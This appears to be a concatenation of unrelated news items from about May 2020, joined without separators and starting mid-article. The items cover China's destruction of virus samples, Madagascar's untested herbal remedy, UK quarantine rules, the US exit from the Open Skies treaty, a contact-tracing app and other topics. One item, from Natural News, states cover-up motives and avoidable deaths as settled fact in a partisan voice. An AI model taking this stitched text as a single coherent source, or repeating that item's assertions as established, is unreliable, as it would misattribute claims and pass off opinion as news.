The last time the PMA was unable to hold a graduation ceremony was during World War Two. In February, the PMA alumni association delayed its homecoming by a week, also due to coronavirus concerns.

More than 13,000 cases of COVID-19 have been recorded in the country, with quarantine restrictions still in place in different areas.
(Natural News) China has finally admitted to destroying samples of coronavirus early in the outbreak, but theyre insisting they did it out of safety concerns rather than as part of any sort of coverup. Given their track record, however, doubts remain about the true motivation behind the move.

A supervisor for Chinas National Health Commission, Liu Dengfeng, finally admitted in a news conference that the government there issued an order on January 3 directing some facilities to dispose of coronavirus samples. Liu said the order was a measure that aimed to prevent the risk to laboratory biological safety and prevent secondary disasters caused by unidentified pathogens.

Liu added that the labs had been unauthorized to handle the samples and therefore had to destroy them to comply with public health laws in the country. He stopped short of specifying how the samples were destroyed or why those labs had them in the first place.

U.S. Secretary of State Mike Pompeo has been accusing China for months of destroying the samples to cover up the extent of the countrys outbreak. Last month, he expressed frustration with the Chinese government for not sharing virus samples from within the country with the rest of the world  something that makes it impossible to assess the evolution of the disease.

He has also accused the country of censoring coronavirus research and trying to influence international efforts to fight the disease. He criticized the country for taking too long to report the outbreak to the World Health Organization and said that even when they did notify them, they failed to share all of the information at their disposal.

Last week, he said: The Chinese Communist Party tried to suppress information about this virus, about where it began, about how it started, about how it was being transmitted from human to human, indeed employed the World Health Organization to further that storyline.

The U.S. has been impacted disproportionately by the disease, with almost one quarter of the worlds infections and deaths being seen in America. So far, more than 4.59 million people have tested positive for the disease globally and at least 309,000 have died according to official numbers  although the real death toll is widely believed to be far higher.

President Trump has said hes very disappointed in China and that he has no desire to talk to Chinese President Xi Jinping.

Intelligence reports show China acted irresponsibly

A report from the department of Homeland Security shows that American officials believe that China intentionally covered up how severe the pandemic was in early January while hoarding medical supplies. Meanwhile, a leaked dossier by the Five Eyes intelligence alliance outlines how Beijing has caused some whistleblowers to mysteriously disappear and scrubbed mentions of the disease in its early stages from the internet while destroying virus samples. They called their actions an assault on international transparency.

Other intelligence agencies have reached similar findings. For example, Der Spiegel reported on a German intelligence document that suggests the Chinese president personally pressured the Director-General of the WHO, Tedros Adhanom Ghebreyesus, into holding back info about human-to-human transmission and delaying a pandemic warning.

In fact, Germanys Federal Intelligence Service estimated that Chinas actions lost four to six weeks to fight the virus worldwide.

Is it any surprise that the majority of Americans view China negatively and have no confidence in President Xi?

We already knew that China destroyed those samples, so admitting to doing so and making up an excuse for it isnt going to do much to make them look any better. In fact, it will only add fuel to the rumors of coverups that are going on in the country, including those surrounding how this disease came into existence in the first place. If they were really so worried about safety, they would have acted far differently from the start of this pandemic, and thousands of people around the world who have died in the last few months might still be alive and with their loved ones today.

Sources for this article include:

NYPost.com

Newsweek.com

DailyMail.co.uk

PewResearch.org
On April 20, the president calls a press conference to announce a breakthrough in the fight against COVID-19. Its a new use for an old malaria treatment, he says, one that is seeing miraculous results among the countrys most ill patients. Its so safe that even schoolchildren could take it. In fact, he urges them to do so daily, as a preventative. He admits that he, too, is taking the medicine.

No, this is not the President of the United States touting an unproven remedy for a virus that has infected nearly 5 million people worldwide. It is Madagascars President Andry Rajoelina, who is just as willing to use the presidential platform to promote a hypothetical treatment as is his American counterpart. To prove the safety of his new discovery, he picks up a bottle placed prominently on the podium and takes a swig of the amber liquid. This herbal tea gives results in seven days, he avows. Tests have been carried outtwo people have now been cured by this treatment.

Aides pass bottles of the herbal remedy, labelled Covid-Organics, to the assembled diplomats, ministers and journalists. They sip appreciatively, then break into applause as the president of this island nation announces that the first African cure for coronavirus, based on traditional African medicine, will be distributed countrywide, and, eventually across the continent.

According to the World Health Organization, there are no medicines that have been shown to prevent or cure COVID-19. That hasnt stopped peoplesome of them presidentsfrom grasping at any potential treatment that might provide a way out of the devastating lockdowns that are collapsing national economies, or stave off the threat of mounting death tolls.

The launch of Covid-Organics (CVO for short) in Madagascar last month was no different. Within days, multiple African nations, as well as Haiti, were asking about shipments. And while CVO is not yet available for export, Rajoelina acquiesced by sending samples for free. The promotion of an untested cure sparked consternation among the medical community in Africa, and provoked an unusually sharp rebuke from the WHO, which noted in a statement on May 4 that, Caution must be taken against misinformation, especially on social media, about the effectiveness of certain remedies. Many plants and substances are being proposed without the minimum requirements and evidence of quality, safety and efficacy. The use of such untested products, it continued, can put people in danger, giving a false sense of security and distracting them from hand washing and physical distancing which are cardinal in COVID-19 prevention.

Story continues

Back in Madagascar, the international uproar was met with bafflement. The use of traditional remedies there is so deeply ingrained that most Malagasies, as they call themselves, would just as likely reach for an herbal cure to treat a headache or a stomach-ache as they would a western pharmaceutical product, says Tiana Andriamanana, the executive director of local conservation NGO Fanamby. Andriamananas work often takes her to poor and rural areas where hospitals and pharmacies are hard to find, and conventional medicine is often unaffordable. A lot of times there isnt really a choice, she says. Traditional medicine is how we roll. Nor are Malagasies alone in their reliance on traditional medicine: according to the WHO, 87% of African populations use it.

And the establishment that developed CVO, the Malagasy Institute of Applied Research [IMRA], is well-respected in the country for its work refining those remedies: some of that research has led to the discovery of internationally recognized pharmaceutical treatments such as Madeglucyl, which can help with diabetes management. It also helped identify the Madagascar periwinkles potential in cancer treatment; compounds isolated from the flower are now being used in treatments for breast, bladder and lung cancers.

When news first emerged in January of a mysterious influenza-like disease in China that didnt respond to conventional treatment, IMRAs director general, Dr. Charles Andrianjara, got to work. Since its founding in 1957, the institutes researchers have catalogued thousands of medicinal herbs used by Madagascars traditional healers. Andrianjara wondered if some of the institutes herbal knowledge might help fight the emerging viral illness. Our hypothesis was that if we could treat the cough, the respiratory difficulties, the aches, the fever, then we could treat the virus. He combed the database, seeking herbs with antioxidant and anti-inflammatory properties, as well as natural cough suppressants and fever reducers.

The institute had also been studying artemisia annua, or sweet wormwood, a common anti-malarial that had shown promising signs in the treatment of severe acute respiratory syndrome (SARS), another respiratory disease caused by a coronavirus, which emerged from China in 2002. COVID and SARS are very similar in terms of their genetic structure, says Andrianjara, so our hypothesis was that artemisia might have an effect on COVID-19.

Andrianjaras team combined artemisia with other ingredients to create an herbal tea, and offered the decoction to patients who had tested positive for the disease. We started with one, two [patients] and we found that it really reduced their symptoms, he says. They recovered quickly. IMRA has not conducted any formal trials or tests; Andrianjaras assessment comes only from observing the reactions of a handful of patients outside of a controlled setting. While he says that the patients were not receiving any other treatments at the same time, there is no formal documentation. When President Rajoelina made his announcement, fewer than 20 patients had received the remedy.

Such low numbers are meaningless when it comes to a disease that is still so poorly understood and whose effects can range from asymptomatic to massive organ failure, but Andrianjara argues that the remedies themselves can do no harm. They have been thoroughly tested for toxicity, and they have been on the market for 30 years, so we already know their efficacy. He likens CVO to common Western treatments like painkillers, which some studies show do not work on everyone. You can give 20 people paracetamol. It wont harm any of them, but it wont cure all of their headaches either. If CVO can cure 60% of the population, to me thats good. Its not the best, but its good.

Its impossible for doctors and scientists to validate any of these claims; other than saying that CVO contains 62% artemisia, IMRA has not released the names of the other ingredients, for fear that the formula could be stolen. While President Rajoelina promotes CVO as both a cure and a preventative, it hasnt been cleared for distribution as a drug by Madagascars National Academy of Medicine, which warned in a statement that It is a medicine for which the scientific evidence has not yet been established and which risks damaging the health of the population, in particular that of children.

In a media briefing on May 14, the WHO stated that there was no scientific evidence to support the safety and efficacy of Covid-Organics. The WHOs regional director for Africa, Dr. Matshidiso Moeti, said that rigorous testing would be vital for credibility, So that when we celebrate the discovery of this treatment in Africa it is on the basis of evidence that can be shared around the world. South Africa-based virologist Denis Chopera sees it as a supplement rather than a cure, telling the Voice of Americas Africa broadcast that I dont think theres any harm, but I dont think people should expect that it will treat them and cure COVID-19 because that has not been proven scientifically.

Shabir Madhi, professor of vaccinology at the University of the Witwatersrand in Johannesburg, told the Mail & Guardian that he has seen no evidence that the remedy has cured anything, noting that with Madagascars low numbers of confirmed cases (405 as of 22 May) it would be impossible to assess efficacy. The majority of people who have this virus show no symptoms. Of those who develop symptoms, 85% of them have mild illness. You could treat them with water and it would have the same effect.

Madagascar's President Andry Rajoelina drinks a sample of the

President Rajoelina slammed skeptics in an interview with France 24, claiming that more than 100 COVID-19 patients in Madagascar had already been successfully treated with Covid-Organics. When we are in this period of war, what is the proof we can show or give? It is, of course, the healing of our sick, he said. I think the problem is that [the drink] comes from Africa and they cant admitthat a country like Madagascarhas come up with this formula to save the world.

IMRAs Andrianjara also senses an anti-African bias in the international negative reaction to his remedy. After all, he points out, Madagascar isnt the only country to embrace untested remedies as a potential cure. In the United States, President Trump has been promoting [the antimalarial drug] hydroxychloroquine, even though the FDA has warned that it is not a proven treatment and it has dangerous side effects. Many countries are trying out new treatments without clinical trials, he says, so why is Madagascar being singled out? Because we are offering a traditional remedy instead of a conventional drug?

Many companies have used the coronavirus pandemic to tout their herbal supplements as immune boosters and health tonics. Few have a president doing their marketing. Rajoelina is rarely seen these days without a bottle nearby, prompting many Malagasies to speculate about where, exactly, the profits are going. But while Madagascar does have one of the largest supplies of artemisia annua in the world, the low cost of the remedy would suggest it is not exactly a goldmine.

Madagascars government is now in talks with the WHO and the African Union over how to develop a rigorous testing protocol for CVO. The biggest obstacle they face at the moment is the lack of sufficient patientswithout enough infected people, its impossible to run a controlled study on the curative effects. What can we do? asks Andrianjara. We dont want more people getting sick, just so we can do more tests. Meanwhile, researchers at Germanys Max Planck Institute of Colloids and Interfaces are testing Artemisia annua extracts to determine its effectiveness in speeding recovery from the virus.

On the streets of Antananarivo, the Malagasy capital, there is no debate. Covid-Organics can be found in nearly every supermarket and corner shop. The recommended dose is two teas a day, for seven days, and it is sold for the equivalent of 20 cents for a single-serving bottle of tea, or $1.50 for a box of 10 tea bags that can be steeped at home.

According to Andriamanana, the executive director of the conservation NGO, it has a mild taste of anise, with a bittersweet finish reminiscent of a strong black tea. Andriamanana is not sure she could drink it twice a day, but a lot of her friends do. They say its working, at least as an immune booster. It invigorates, it takes fatigue away. Like most traditional remedies, she says, its hard to draw the line between science and belief. Could it work as a cure? Maybe, at least psychologically. She would love nothing more than to see it put to a scientific test, and pass. If we can prove that we have the solution, or even a solution, for the coronavirus, we can show that it was not dumb after all to rely on nature and indigenous knowledge.

Andrianjara, of IMRA, says that even if CVO isnt proven to cure Covid-19 in scientific studies, there are many of other promising remedies in Madagascars traditional pharmacopeia that should be explored. Instead of researching something new that costs a lot of money that we cannot afford, lets go back and revisit our traditional knowledge. We have a lot of wealth in our traditions and culture, and maybe we dont exploit it enough.
International travellers arriving into the UK could face spot checks and 1,000 fines if they fail to self-isolate for 14 days after arriving in the UK under measures to guard against a second wave of coronavirus.

Home Secretary Priti Patel is expected to outline the plans - which will be introduced early next month - at the daily Downing Street briefing on Friday, a senior Government official confirmed.

Exemptions for road hauliers and medical officials will apply, while the common travel area with Ireland will be unaffected. Arrivals from France will not be exempt, the official confirmed, following confusion earlier this week.

Travellers will be asked to fill in a form with their contact information, and health officials will perform spot checks to ensure compliance with the measures.

The move will anger some sectors, with Ryanair boss Michael O'Leary earlier this week branding the plan "idiotic" and "unimplementable", while trade body Airlines UK has previously said a quarantine "would effectively kill" international travel to and from Britain.

Read More

Many other countries already require arriving passengers to enter a 14-day quarantine, including New Zealand, South Africa, South Korea, Spain and the US.

This is despite the World Health Organisation saying in February that measures which "significantly interfere" with international travel "may only be justified at the beginning of an outbreak".

Meanwhile, the scientific advice given to the Government which informed proposals to send some pupils back to school from June 1 will be published.

The Sun newspaper reported that the Scientific Advisory Group for Emergencies (Sage) papers will suggest teachers are at no greater risk of catching coronavirus than other key workers.

The publication of the advice follows concern from teaching unions and council leaders about the Government's plans to allow children in nursery, Reception, Year 1 and Year 6 to return to school from next month.

In other developments:

- Health Secretary Matt Hancock said around one in six people in London and one in 20 elsewhere in England have already had coronavirus - and revealed that certificates are being looked at for people who test positive for antibodies.

- Mr Hancock also said more than 10 million antibody tests will start being rolled out next week and will first be offered to health and social care staff as well as patients and care home residents.

- A trial of a rapid 20-minute test to tell people if they currently have Covid-19 was launched.

- A new study suggested that a blood test could help track a person's immune response to Covid-19, allowing doctors to identify at an early stage who might need additional treatment or critical care.

- England's chief medical officer, Professor Chris Whitty, said excess deaths in care homes during the coronavirus pandemic have peaked and "come down a long way".

- The nation took to the doorstep for the ninth week in a row to clap for NHS carers and key workers who have put their lives at risk fighting Covid-19.

It comes after Boris Johnson performed a U-turn to exempt overseas health and care staff from the fee levied on migrants to pay for the NHS following mounting pressure from senior Tories.

Expand Close Britain's Prime Minister Boris Johnson reacts outside 10 Downing Street during the Clap for our Carers campaign in support of the NHS, following the outbreak of the coronavirus disease (COVID-19), London, Britain, May 14, 2020. REUTERS/Henry Nicholls / Facebook

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Whatsapp Britain's Prime Minister Boris Johnson reacts outside 10 Downing Street during the Clap for our Carers campaign in support of the NHS, following the outbreak of the coronavirus disease (COVID-19), London, Britain, May 14, 2020. REUTERS/Henry Nicholls

Downing Street said the UK Prime Minister has asked officials at the Home Office and the Department for Health and Social Care to remove health and care workers from the surcharge "as soon as possible".

Full details will be announced in the coming days, a Number 10 spokesman said.

Mr Johnson "has been thinking about this a great deal" and as a "personal beneficiary of carers from abroad" he understands the difficulties faced by our amazing NHS staff, the spokesman said.

"The purpose of the NHS surcharge is to benefit the NHS, help to care for the sick and save lives.

"NHS and care workers from abroad who are granted visas are doing this already by the fantastic contribution which they make."

The 400 surcharge remains in place for other categories of visa applicants and will increase to 624 in October, as planned.

The change will apply to all NHS workers, ranging from medical health staff to vital porters and cleaners.

It also includes independent health workers and social care workers.

The U-turn comes after senior Tories demanded change, with former party chairman Lord Patten calling it "appalling" and "monstrous".
GUELPH  Researchers at the University of Guelph have been awarded $230,000 to develop potential vaccines against COVID-19.

The funds are part of $20 million in provincial funds for COVID research.

The Guelph research adapts the universitys current work on vaccines as cancer therapies, said pathobiology professor Byram Bridle.

Following immunological and safety testing at U of G, the researchers expect to share their top two vaccine candidates in about eight months with at the National Microbiology Laboratory in Winnipeg, for efficacy testing.

The Guelph research can be adapted to develop vaccines for future versions of a coronavirus, Bridle said. That means future vaccines might be made more quickly and cheaply, giving Canada a foundation for subsequent vaccine development.

Canadian researchers are working on an estimated 120 vaccines for the coronavirus. Bridle said he hopes to see a viable vaccine based on the technology ready for Health Canada approval in 2021.
Source: Xinhua| 2020-05-23 01:19:29|Editor: huaxia

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JUBA, May 22 (Xinhua) -- South Sudan's Health Ministry on Friday confirmed 82 new cases of coronavirus, bringing the total number of infections in the country to 563.

Makur Matur Koriom, the undersecretary in the Ministry of Health, said the public health laboratory released 168 samples out of which 82 tested positive while 62 others tested negative while 24 are to be repeated in the next 72 hours.

Koriom said 58 of the latest cases tested in the last 48 hours were male while 24 were female patients, adding that the latest cases were part of the ongoing contact tracing and surveillance in the country.

"This brings the total number of infections in South Sudan to 563 with six recoveries and six deaths," Koriom told reporters in Juba on Friday.

He reiterated that the Ministry of Health has now divided the capital into five zones and within the zones, there are 44 health facilities used for random testing.

"The infection is spreading fast, and if you see from the figures we released on Friday and Tuesday you will realize that many people are getting exposed to the virus," he said.

The official said a full-contact tracing operation is underway and called on all the contacts to cooperate with the country's rapid response teams. Enditem
The UK government on Friday announced a further extension of all expiring or expired visas of foreign nationals, including Indians, unable to return to their home countries due to the coronavirus pandemic, until July 31.

The extension, initially announced until May 31, has been extended by two months and will apply to anyone whose leave to remain in the UK expired after January 24 and they are still unable to leave the country because of travel restrictions or self-isolation. By extending people's visas further, we are giving them peace of mind that they are able to stay in the ...
There have been 10 conflict-related child casualties since the beginning of this year.

The UN children's agency is calling for all parties to the deadly conflict in eastern Ukraine to commit to a ceasefire and end more than six years of fighting, as an increase in shelling has resulted in numerous child casualties and damaged schools since the beginning of the year.

In a press release on May 21, UNICEF said the surge in attacks combined with restrictions of movement imposed to stem the spread of the coronavirus is "making life even more unbearable" for the approximately 430,000 children caught up in the fighting between Ukrainian government forces and Russia-backed armed formations, Radio Free Europe / Radio Liberty (RFE/RL) said.

Read alsoRussia sends "almost children" to die in Donbas  journalist

"It is unconscionable that children and families in eastern Ukraine are not only having to cope with the strict lockdown measures all families are struggling with across Europe, but also the constant threat that their homes could come under attack," said Afshan Khan, UNICEF's regional director for Europe and Central Asia.

Children and families in eastern Ukraine, where the conflict has killed more than 13,000 people since April 2014, "urgently need peace," she added.

There have been 10 conflict-related child casualties since the beginning of this year  double the number of child casualties compared to the same time period last year, UNICEF said.

During the first week of May, six children were wounded at home after their villages came under shelling. Three young girls, two of them sisters, aged 7 and 10, and the other a friend, also aged 7, were severely injured in one incident.

The UN agency also mentioned nine attacks on schools, including five in April. In one of them, a 17-year-old girl was wounded by shrapnel while in her schoolyard.
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Actor Nicholas Hoult has dropped out of next "Mission: Impossible" film owing to scheduling conflicts.

Hoult, who was set to portray the villain in the much-awaited film, has been replaced by actor Esai Morales, best known for starring in series such as "NYPD Blue","How to Get Away With Murder", "Ozark"and"Titans".

The film was among the major Hollywood projects that were impacted by the coronavirus pandemic. Its shooting in Italy was halted due to the disease outbreak in the country in February.

Though it's unclear when filming will be able to resume, the delay will put Hoult in conflict with a prior obligation, shooting Hulu's second season of "The Great", reported Variety.

Cruise is reprising his role of Impossible Mission Forces (IMF) agent Ethan Hunt in the two back-to-back "MI" films, being helmed by director Christopher McQuarrie.

The films will also see Ving Rhames, Henry Czerny, Simon Pegg, Rebecca Ferguson and Vanessa Kirby reprising their characters from the previous installments.

Newcomers include Hayley Atwell, Pom Klementieff and Shea Whigham.

Paramount Pictures recently pushed the release dates of the two movies due to the pandemic.

The seventh and eighth chapters were scheduled to be released on July 23, 2021, and August 5, 2022, respectively.

The two sequels will now hit the theatres on November 19, 2021 and November 4, 2022.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
State Rep. Karina Villa, D-West Chicago, donned a thin translucent mask over her face as she discussed an unnamed employer that told workers such a mask would offer protection from COVID-19 during debate at the spring legislative session at the Bank of Springfield Center, May 22, 2020. "I hope that our vote today reflects an unanimous vote, letting those employers know that this is absolutely unacceptable in the state of Illinois," she said. (Ted Schurter/The State Journal-Register)
WASHINGTON - President Donald Trump said Thursday that the United States will withdraw from the Treaty on Open Skies, a nearly 30-year-old pact designed to reduce the chances of an accidental war by allowing mutual reconnaissance flights for members of the 34-country agreement.

Speaking on the White House lawn before flying to Michigan, Trump said the United States was pulling out because Russia has been violating the pact.

"Until they adhere, we will pull out," he said.

The Trump administration will issue a formal notification Friday that the United States intends to withdraw, the Pentagon said in a statement. That triggers a six-month period, at the end of which the United States will no longer be party to the agreement.

The planned withdrawal marks another example of the erosion of a global arms-control framework that Washington and Moscow began hashing out painstakingly during the Cold War. The Trump administration pulled out of a 1987 pact with Russia governing intermediate-range missiles, citing violations by Moscow, and withdrew from a 2015 nuclear accord with Iran, saying Tehran wasn't living up to the spirit of it.

The primary remaining pillar of the arms-control framework between the United States and Russia is the New START pact, signed by Presidents Barack Obama and Dmitry Medvedev in 2010. The agreement, which places limits on strategic nuclear platforms such as bombers, submarines and intercontinental ballistic missiles, will expire in February. It can be extended for five years without ratification if the U.S. and Russian presidents both agree.

Russian President Vladimir Putin has said he wants to extend the pact, but the Trump administration has balked, describing it as outdated and lacking in proper oversight.

The Trump administration has been pushing to negotiate a follow-on agreement that includes China in addition to Russia, but China has rejected calls for talks so far. If the pact is not renewed, the world will return to an era without any legally binding or verifiable limits on its two biggest nuclear powers for the first time since 1972.

The withdrawal from the Open Skies treaty risks driving another wedge between the United States and its European allies, some of whom have urged the United States to remain in the pact despite concerns about Russian compliance.

Christopher Ford, assistant secretary of state for international security and nonproliferation, said Thursday that Russia had violated the Open Skies agreement by restricting flights over its southern Chechnya region, the exclave of Kaliningrad and along its southern border with Georgia. He said Russia also denied flights over a military exercise that took place in September 2019.

"It's really regrettable what Russia has done to international arms control," Marshall Billingslea, the president's new special representative for arms control, said at an appearance at the Hudson Institute on Thursday. "They really have systematically violated nearly every agreement that they have made - political or legally binding."

Russia has denied violating the treaty. It criticized the pullout as the Trump administration's latest reckless dismantlement of major arms control agreements.

"Unfortunately, this is not the first blow to international stability and security being inflicted by the U.S. administration," Russian Foreign Ministry spokeswoman Maria Zakharova said on the state-run Rossiya-24 television channel.

Advocates of the treaty said that the United States had not exhausted efforts to bring Russia into compliance and that a withdrawal was counterproductive.

"The problems we were having with Open Skies did not defeat the object and the purpose of the treaty," said Alex Bell, a senior director at the Center for Arms Control and Non-Proliferation. "It never appeared like the Trump administration was really trying to fix these compliance problems. It seems like they only know how to break things."

Open Skies emerged out of a proposal that President Dwight D. Eisenhower initially suggested to the Soviets to promote transparency about military surveillance overflights.

The Soviet Union rejected his offer, but President George H.W. Bush revived the idea, and the multicountry pact was signed in 1992 after the fall of the Soviet Union. It came into force in 2002, after the 20th nation ratified the agreement.

Today, the treaty includes 34 countries and allows each to carry out reconnaissance flights over one another's territory on short notice to gather information about military activities.

European allies had been briefed before Thursday's announcement during meetings with U.S. officials from the Pentagon and the State Department. Some diplomats were told that the United States may still salvage the treaty if Russian behavior changes, but they said the U.S. intention to withdraw seemed clear.

The impending U.S. exit is part of a broader breakdown in arms control that has been occurring for years as Washington locks horns with Moscow. An outcry over Russia's 2014 invasion of neighboring Ukraine and annexation of Crimea and an uproar over Russia's 2016 interference in the U.S. presidential election have brought relations between the two powers to a multi-decade low.

In 2002, the George W. Bush administration abrogated the Anti-Ballistic Missile Treaty with Russia, paving the way for a U.S. missile defense buildup in Europe. Last year, the Trump administration pulled out of the Intermediate-Range Nuclear Forces Treaty, or the INF Treaty, with Russia, citing Russian violations.

Beyond those pacts, Sen. Tom Cotton, R-Ark., has pushed for the Trump administration to withdraw from the Comprehensive Nuclear Test Ban Treaty, which has yet to enter into force, as well as the Treaty on Open Skies.

"Like so many treaties with Russia, the Open Skies agreement was negotiated and signed with good intentions, then abused by Moscow for maximum advantage," Cotton wrote late last year in an op-ed piece in The Washington Post. He has argued that the pact is giving Russia spying capability that Moscow wouldn't otherwise possess and that it doesn't give the United States any intelligence that isn't available elsewhere.

Cotton praised the Trump administration's decision Thursday, but some Republican elder statesmen criticized the move, including Gen. Michael Hayden, a senior intelligence official in the George W. Bush administration. "This is insane," he tweeted, adding that he previously served as CIA director.

Sen. Robert Menendez of New Jersey), the top Democrat on the Senate Foreign Relations Committee, described the administration's decision to withdraw as reckless. He said Congress mandated that the administration provide a review period before withdrawing from the treaty and accused the administration of risking violating the law by failing to do so.

"The timing of the Trump administration's decision to withdraw is clearly tied to the political calendar," Menendez said in a statement. "By rushing this abrupt withdrawal, it is clear the Trump Administration is attempting to bind a future administration from participation in this long-standing and valuable treaty for our nation."

Russian Foreign Minister Sergei Lavrov said in April that the Trump administration is averse to any limits on its military, particularly over U.S. territory.

"The Americans, the current administration, conceptually, fundamentally have an aversion to any kind of control over American military activity, especially when that control is exercised on or over U.S. territory," Lavrov said. He said he doubted that other countries would withdraw.

"Will other countries follow the Americans? I doubt it," he said. "Europeans seem to me to understand that the agreement has added value as an instrument of trust, an instrument of predictability, transparency, and that is how we see it."

Trump's envoy said Thursday that the United States would not hesitate to engage in a costly nuclear arms race with Russia and China. He said he had agreed with top Russian arms control officials on a time to begin negotiations on a new pact and urged China to agree to negotiations, as well.

"We know how to win these races, and we know how to spend the adversary into oblivion, and if we have to, we will, but we sure would like to avoid it," Billingslea said.

Led by former White House national security adviser John Bolton, the Trump administration has moved quickly to rip up legacy arms-control agreements with Russia, arguing that there's no sense in remaining in treaties if Russia isn't going to comply and that only by withdrawing can the United States lay the groundwork for new deals calibrated to the modern era.

Members of the arms-control community, however, have argued that these pacts took a long time to negotiate and Washington may not be able to agree on any substantive follow-on pacts with Moscow. They see little progress on new arms control pacts in the Trump administration's more than three years in office, raising questions about the administration's ability to replace that which it destroys.

Withdrawal from a treaty that increased transparency and enjoyed unanimous support among U.S. allies "is another sign of how the Trump administration is willing to both increase the risk of conflict and undermine confidence in U.S. security commitments-two key elements that have prevented outright conflict with Russia for a generation," Derek Johnson, director of the antinuclear weapons advocacy group Global Zero, said in a statement.

Arms control advocates say the administration should exhibit more caution, act in concert with allies and hold on to agreements even if they are flawed while trying to improve them. Ripping them up, they argue, serves only to make the world more dangerous.

"Trashing the legacy of respected Republican presidents like Eisenhower and G.H.W. Bush will put President Trump in the rarefied territory of being the only U.S. leader to have abandoned three arms-control treaties and created none," Bell said.

- - -

The Washington Post's Isabelle Khurshudyan in Moscow contributed to this report.
By IANS

JAIPUR: Rajasthan Deputy Chief Minister Sachin Pilot on Friday launched a scathing attack on the central government accusing it of having failed to chalk out a decent policy to relieve migrants' distress during the COVID-19 pandemic.

"The central government could not chalk a clear policy to help migrants during COVID-19 crisis. There are thousands of these migrants walking hungry on roads and in such situations, Congress General Secretary Priyanka Gandhi showed sensitivity towards them by arranging around 1,000 buses, however, the Uttar Pradesh government created hurdles in the smooth plying of these buses. Our buses were not allowed to enter in the state," the Congress leader said.

Initially, the Uttar Pradesh government asked to send buses to Lucknow, then asked to send buses to border and then they raised the issue of fitness, Pilot further added.

Rajasthan Transport Minister Pratap Singh Khachriyawas also attacked the Yogi government and said that Adityanath had tweeted that he would permit bus entries if Priyanka Gandhi sends buses. "However, later 1,032 buses were stopped at the border".

Khachriyawas maintained that the buses sent were not Rajasthan State Transport buses, the Congress workers had hired these buses from different districts of the state including Karauli, Alwar and other districts.

Accusing the Yogi government of playing politics on migrants' buses, he said that Rajasthan government is committed towards sending the migrants free of cost to their native places. "We are also trying to send our buses to Uttarakhand with migrants since last five days, however, the government there is not allowing buses to enter in the state as well," he alleged.

Pilot and Khachriyawas were addressing the media along with veteran Congress members Juber Khan and Dheeraj Gurjar.
How does society establish a new normal during a pandemic?

A key approach involves contact tracing, in which public health officials alert anyone potentially exposed to a newly diagnosed patient within the past 14 days, the incubation period for COVID-19.

Contact tracing can be done with teams of public health officials, relying on a patient's known contacts. Or it can be done with technology, alerting both known and unknown contacts, such as someone walking by at a grocery store.

The University of Nebraska-Lincoln's Bilal Khan has developed a technology solution: a software application system that is ready to pilot. He is working with NUtech Ventures, the university's commercialization affiliate, to find a community partner for implementation.

Without technology, there is no efficient way to inform contacts who were passively exposed at a public place. We also want to give people a richer, more personalized stream of data about how much risk they are taking on -- which will help them make decisions about balancing their health risk with their economic risk." Bilal Khan, Happold Professor of Sociology and professor of computer science and engineering, University of Nebraska-Lincoln

The software system was originally developed at the University of Nebraska-Lincoln to study how human interactions -- specifically, physical proximity to others -- affect public health attitudes and behavior, as part of a sociology research project funded by the National Institutes of Health.

"Now, five years later, we have this system that already exists and doesn't need to be designed and built from scratch," Khan said. "That's the fortuitous coincidence. Our goal is to leverage it and quickly put something into use."

Users who download the app are assigned an anonymized identification number; it protects privacy by avoiding any connection to personal data, such as names or phone numbers. The system then uses location and Bluetooth data to track users' physical proximity, noting which ID numbers are in close contact with other ID numbers.

If an app user is diagnosed with COVID-19, health officials can easily download a list of all ID numbers who were potentially exposed to that person in the past 14 days and send in-app notifications.

"You get the assurance that if you are exposed to someone today, who 10 days from now is diagnosed positive, then you'll be told about it," Khan said. "This information hopefully gives you additional quantitative measures of how risky things are and whether or not you should go out."

The app also allows officials to ask customizable questions that gauge public sentiment, such as: Do you think it's safe to go outside?

"This information could be valuable for public health officials, because it gives them a real sense of how sentiments are changing over time," Khan said. "Sentiments are a leading indicator of behavior, and behavior is a leading indicator of transmission."

Other countries around the world are developing similar contact tracing systems, including Germany and the United Kingdom -- two countries typically associated with Western democracies, civil liberties and privacy protections, Khan said. His system adds a layer of privacy protection by maintaining data on local servers, which never leave the geographic boundary of a town or county.

Even individuals who don't download the app could still view available data to understand the spread of COVID-19 in their community. Ultimately, Khan's goal is to make public health data more personal and help individuals make informed decisions.

"In the long term, people are balancing their health risk against economic risk and making behavioral decisions -- Should I go out or should I stay in? -- based on those trade-offs," Khan said. "The economic data has hard numbers to it, so it has a kind of advantage -- you can't argue with your rent or your mortgage. Our system is an attempt to help correct that imbalance of personalized information."
(Newser)  President Trump's Thursday visit to a Michigan manufacturing plant didn't just draw headlinesit could draw trouble for Ford. Dana Nessel told CNN late Thursday the company could face consequences for allowing Trump to skip wearing a mask during a visit to a Ford plant that now produces ventilators, as such an action would be in defiance of state orders and Ford policy. "I think that we're going to have to have a very serious conversation with Ford in the event that they permitted the president to be in publicly enclosed places in violation of the order," she said. The Democrat had some harsh words for Trump specifically, likening him to "a petulant child who refuses to follow the rules."

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Nessel, who wrote to the president about masks before the visit, said Trump was sending "the worst possible message" by refusing to wear a mask in front of journalists, reports the Washington Post. Trumpwho said he wore a mask at times but didn't want to give the press the "pleasure" of seeing him in onefired back on Twitter. "The Wacky Do Nothing Attorney General of Michigan, Dana Nessel, is viciously threatening Ford Motor Company for the fact that I inspected a Ventilator plant without a mask. Not their fault, & I did put on a mask," he tweeted Thursday night. "No wonder many auto companies left Michigan, until I came along," he added. Nessel became AG in 2019; the state had a Republican governor and attorney general for the previous eight years. (Read more Michigan stories.)
Abbey Ferreira has wanted a career in the medical field since childhood, so she followed in the footsteps of her mother and grandmother and chose to become a nurse.

Hey there, time traveller!

This article was published 22/5/2020 (608 days ago), so information in it may no longer be current.

Abbey Ferreira has wanted a career in the medical field since childhood, so she followed in the footsteps of her mother and grandmother and chose to become a nurse.

As COVID-19 forced school closures, Ferreira, 19, returned home to North Vancouver in mid-March near the end of her first year in the University of Calgary's nursing program and finished her courses online.

Abbey Ferreira, a nursing student who recently completed her first year online at the University of Calgary, holds a photo of her grandmother, Beatrice Abbey, from 1948, when she was a nursing student in Saskatchewan in this handout photo taken at her home in North Vancouver on Tuesday, May 19, 2020. Abbey Ferreira wanted a career in the medical field since childhood so she followed in the footsteps of her mother and grandmother and chose to become a nurse. THE CANADIAN PRESS/HO, Abbey Ferreira *MANDATORY CREDIT*

Like thousands of students across the country, especially those in programs requiring hands-on training, Ferreira is concerned about how practicums could be affected when classes resume.

"Right now, there's just a lot of questions," she said about physical distancing requirements that would also impact her life in residence.

